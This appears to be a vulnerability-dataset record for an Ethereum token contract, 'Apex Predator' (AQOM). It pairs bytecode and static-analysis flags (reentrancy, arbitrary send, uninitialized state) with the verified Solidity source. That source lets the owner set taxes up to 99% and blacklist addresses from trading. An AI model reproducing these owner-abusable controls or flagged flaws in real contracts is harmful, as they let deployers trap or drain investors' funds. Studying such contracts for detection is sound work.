ffff16815260200190815260200160002060009054906101000a900460ff16155b156129625761295d848484612c27565b612adf565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015612a055750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612a1a57612a15848484612e87565b612ade565b600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168015612abc5750600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612ad157612acc8484846130e7565b612add565b612adc8484846133dc565b5b5b5b80612aed57612aec6135a7565b5b50505050565b6000806000612b006135bb565b91509150612b17818361285290919063ffffffff16565b9250505090565b60008083118290612bca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015612b8f578082015181840152602081019050612b74565b50505050905090810190601f168015612bbc5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838581612bd657fe5b049050809150509392505050565b6000600c54148015612bf857506000600d54145b15612c0257612c25565b600c54600e81905550600d54600f819055506000600c819055506000600d819055505b565b600080600080600080612c3987613868565b955095509550955095509550612c9787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612d2c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612dc185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612e0d816139a2565b612e178483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600080600080600080612e9987613868565b955095509550955095509550612ef786600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550612f8c83600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061302185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061306d816139a2565b6130778483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806130f987613868565b95509550955095509550955061315787600360008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506131ec86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061328183600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061331685600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550613362816139a2565b61336c8483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b6000806000806000806133ee87613868565b95509550955095509550955061344c86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546138d090919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506134e185600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061352d816139a2565b6135378483613b47565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040518082815260200191505060405180910390a3505050505050505050565b600e54600c81905550600f54600d81905550565b6000806000600a5490506000683635c9adc5dea00000905060005b60098054905081101561381d578260026000600984815481106135f557fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411806136dc575081600360006009848154811061367457fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054115b156136fa57600a54683635c9adc5dea0000094509450505050613864565b613783600260006009848154811061370e57fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054846138d090919063ffffffff16565b925061380e600360006009848154811061379957fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054836138d090919063ffffffff16565b915080806001019150506135d6565b5061383c683635c9adc5dea00000600a5461285290919063ffffffff16565b82101561385b57600a54683635c9adc5dea00000935093505050613864565b81819350935050505b9091565b60008060008060008060008060006138858a600c54600d54613b81565b9250925092506000613895612af3565b905060008060006138a88e878787613c17565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b600061391283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506122a3565b905092915050565b600080828401905083811015613998576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b60006139ac612af3565b905060006139c382846127cc90919063ffffffff16565b9050613a1781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550600660003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615613b4257613afe83600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461391a90919063ffffffff16565b600360003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b505050565b613b5c82600a546138d090919063ffffffff16565b600a81905550613b7781600b5461391a90919063ffffffff16565b600b819055505050565b600080600080613bad6064613b9f888a6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613bd76064613bc9888b6127cc90919063ffffffff16565b61285290919063ffffffff16565b90506000613c0082613bf2858c6138d090919063ffffffff16565b6138d090919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080613c3085896127cc90919063ffffffff16565b90506000613c4786896127cc90919063ffffffff16565b90506000613c5e87896127cc90919063ffffffff16565b90506000613c8782613c7985876138d090919063ffffffff16565b6138d090919063ffffffff16565b905083818496509650965050505050945094509491505056fe45524332303a207472616e7366657220746f20746865207a65726f2061646472657373416d6f756e74206d757374206265206c657373207468616e20746f74616c207265666c656374696f6e7345524332303a20617070726f766520746f20746865207a65726f2061646472657373536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f7745524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e63655472616e7366657220616d6f756e74206d7573742062652067726561746572207468616e207a65726f45524332303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a264697066735822122031e8399a23c9908d6ba4ca71c1ccb6342c896864be36f2c7882d7f682edc125664736f6c634300060c0033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "uninitialized-state", "impact": "High", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
7,329
0xc7ff79051e4738a79687d0ae72bf39f9bb23d09c
/** *Submitted for verification at Etherscan.io on 2022-03-23 */ /** Apex Predator will be the last predator of its kind after completing its mission to decimate every fork. The Apex Predator will slash and hack its way through until its the last one standing. https://t.me/apexpredatoreth */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract ApexPredator is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Apex Predator"; string private constant _symbol = "AQOM"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 0; uint256 private _taxFeeOnBuy = 10; uint256 private _redisFeeOnSell = 0; uint256 private _taxFeeOnSell = 10; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x1233f01e66d27984bAc3a49A8c1D04ff5637724A); address payable private _marketingAddress = payable(0xB8BF452b4E5dAd87B8B6d38e5be96D9B30d50AAF); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen = false; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 15000000000 * 10**9; uint256 public _maxWalletSize = 30000000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards"); require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 99, "Buy tax"); require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards"); require(taxFeeOnSell >= 0 && taxFeeOnSell <= 99, "Sell tax"); _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { if (maxTxAmount > 5000000000 * 10**9) { _maxTxAmount = maxTxAmount; } } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610559578063dd62ed3e14610579578063ea1644d5146105bf578063f2fde38b146105df57600080fd5b8063a2a957bb146104d4578063a9059cbb146104f4578063bfd7928414610514578063c3c8cd801461054457600080fd5b80638f70ccf7116100d15780638f70ccf7146104515780638f9a55c01461047157806395d89b411461048757806398a5c315146104b457600080fd5b80637d1db4a5146103f05780637f2feddc146104065780638da5cb5b1461043357600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038657806370a082311461039b578063715018a6146103bb57806374010ece146103d057600080fd5b8063313ce5671461030a57806349bd5a5e146103265780636b999053146103465780636d8aa8f81461036657600080fd5b80631694505e116101ab5780631694505e1461027657806318160ddd146102ae57806323b872dd146102d45780632fd689e3146102f457600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024657600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f7366004611a6b565b6105ff565b005b34801561020a57600080fd5b5060408051808201909152600d81526c20b832bc10283932b230ba37b960991b60208201525b60405161023d9190611b30565b60405180910390f35b34801561025257600080fd5b50610266610261366004611b85565b61069e565b604051901515815260200161023d565b34801561028257600080fd5b50601454610296906001600160a01b031681565b6040516001600160a01b03909116815260200161023d565b3480156102ba57600080fd5b50683635c9adc5dea000005b60405190815260200161023d565b3480156102e057600080fd5b506102666102ef366004611bb1565b6106b5565b34801561030057600080fd5b506102c660185481565b34801561031657600080fd5b506040516009815260200161023d565b34801561033257600080fd5b50601554610296906001600160a01b031681565b34801561035257600080fd5b506101fc610361366004611bf2565b61071e565b34801561037257600080fd5b506101fc610381366004611c1f565b610769565b34801561039257600080fd5b506101fc6107b1565b3480156103a757600080fd5b506102c66103b6366004611bf2565b6107fc565b3480156103c757600080fd5b506101fc61081e565b3480156103dc57600080fd5b506101fc6103eb366004611c3a565b610892565b3480156103fc57600080fd5b506102c660165481565b34801561041257600080fd5b506102c6610421366004611bf2565b60116020526000908152604090205481565b34801561043f57600080fd5b506000546001600160a01b0316610296565b34801561045d57600080fd5b506101fc61046c366004611c1f565b6108d1565b34801561047d57600080fd5b506102c660175481565b34801561049357600080fd5b5060408051808201909152600481526341514f4d60e01b6020820152610230565b3480156104c057600080fd5b506101fc6104cf366004611c3a565b610919565b3480156104e057600080fd5b506101fc6104ef366004611c53565b610948565b34801561050057600080fd5b5061026661050f366004611b85565b610a7c565b34801561052057600080fd5b5061026661052f366004611bf2565b60106020526000908152604090205460ff1681565b34801561055057600080fd5b506101fc610a89565b34801561056557600080fd5b506101fc610574366004611c85565b610add565b34801561058557600080fd5b506102c6610594366004611d09565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105cb57600080fd5b506101fc6105da366004611c3a565b610b7e565b3480156105eb57600080fd5b506101fc6105fa366004611bf2565b610bad565b6000546001600160a01b031633146106325760405162461bcd60e51b815260040161062990611d42565b60405180910390fd5b60005b815181101561069a5760016010600084848151811061065657610656611d77565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061069281611da3565b915050610635565b5050565b60006106ab338484610c97565b5060015b92915050565b60006106c2848484610dbb565b610714843361070f85604051806060016040528060288152602001611ebd602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906112f7565b610c97565b5060019392505050565b6000546001600160a01b031633146107485760405162461bcd60e51b815260040161062990611d42565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b031633146107935760405162461bcd60e51b815260040161062990611d42565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e657506013546001600160a01b0316336001600160a01b0316145b6107ef57600080fd5b476107f981611331565b50565b6001600160a01b0381166000908152600260205260408120546106af9061136b565b6000546001600160a01b031633146108485760405162461bcd60e51b815260040161062990611d42565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108bc5760405162461bcd60e51b815260040161062990611d42565b674563918244f400008111156107f957601655565b6000546001600160a01b031633146108fb5760405162461bcd60e51b815260040161062990611d42565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b031633146109435760405162461bcd60e51b815260040161062990611d42565b601855565b6000546001600160a01b031633146109725760405162461bcd60e51b815260040161062990611d42565b60048411156109b15760405162461bcd60e51b815260206004820152600b60248201526a427579207265776172647360a81b6044820152606401610629565b60638211156109ec5760405162461bcd60e51b8152602060048201526007602482015266084eaf240e8c2f60cb1b6044820152606401610629565b6004831115610a2c5760405162461bcd60e51b815260206004820152600c60248201526b53656c6c207265776172647360a01b6044820152606401610629565b6063811115610a685760405162461bcd60e51b81526020600482015260086024820152670a6cad8d840e8c2f60c31b6044820152606401610629565b600893909355600a91909155600955600b55565b60006106ab338484610dbb565b6012546001600160a01b0316336001600160a01b03161480610abe57506013546001600160a01b0316336001600160a01b0316145b610ac757600080fd5b6000610ad2306107fc565b90506107f9816113ef565b6000546001600160a01b03163314610b075760405162461bcd60e51b815260040161062990611d42565b60005b82811015610b78578160056000868685818110610b2957610b29611d77565b9050602002016020810190610b3e9190611bf2565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610b7081611da3565b915050610b0a565b50505050565b6000546001600160a01b03163314610ba85760405162461bcd60e51b815260040161062990611d42565b601755565b6000546001600160a01b03163314610bd75760405162461bcd60e51b815260040161062990611d42565b6001600160a01b038116610c3c5760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610629565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610cf95760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610629565b6001600160a01b038216610d5a5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610629565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610e1f5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610629565b6001600160a01b038216610e815760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610629565b60008111610ee35760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610629565b6000546001600160a01b03848116911614801590610f0f57506000546001600160a01b03838116911614155b156111f057601554600160a01b900460ff16610fa8576000546001600160a01b03848116911614610fa85760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610629565b601654811115610ffa5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610629565b6001600160a01b03831660009081526010602052604090205460ff1615801561103c57506001600160a01b03821660009081526010602052604090205460ff16155b6110945760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610629565b6015546001600160a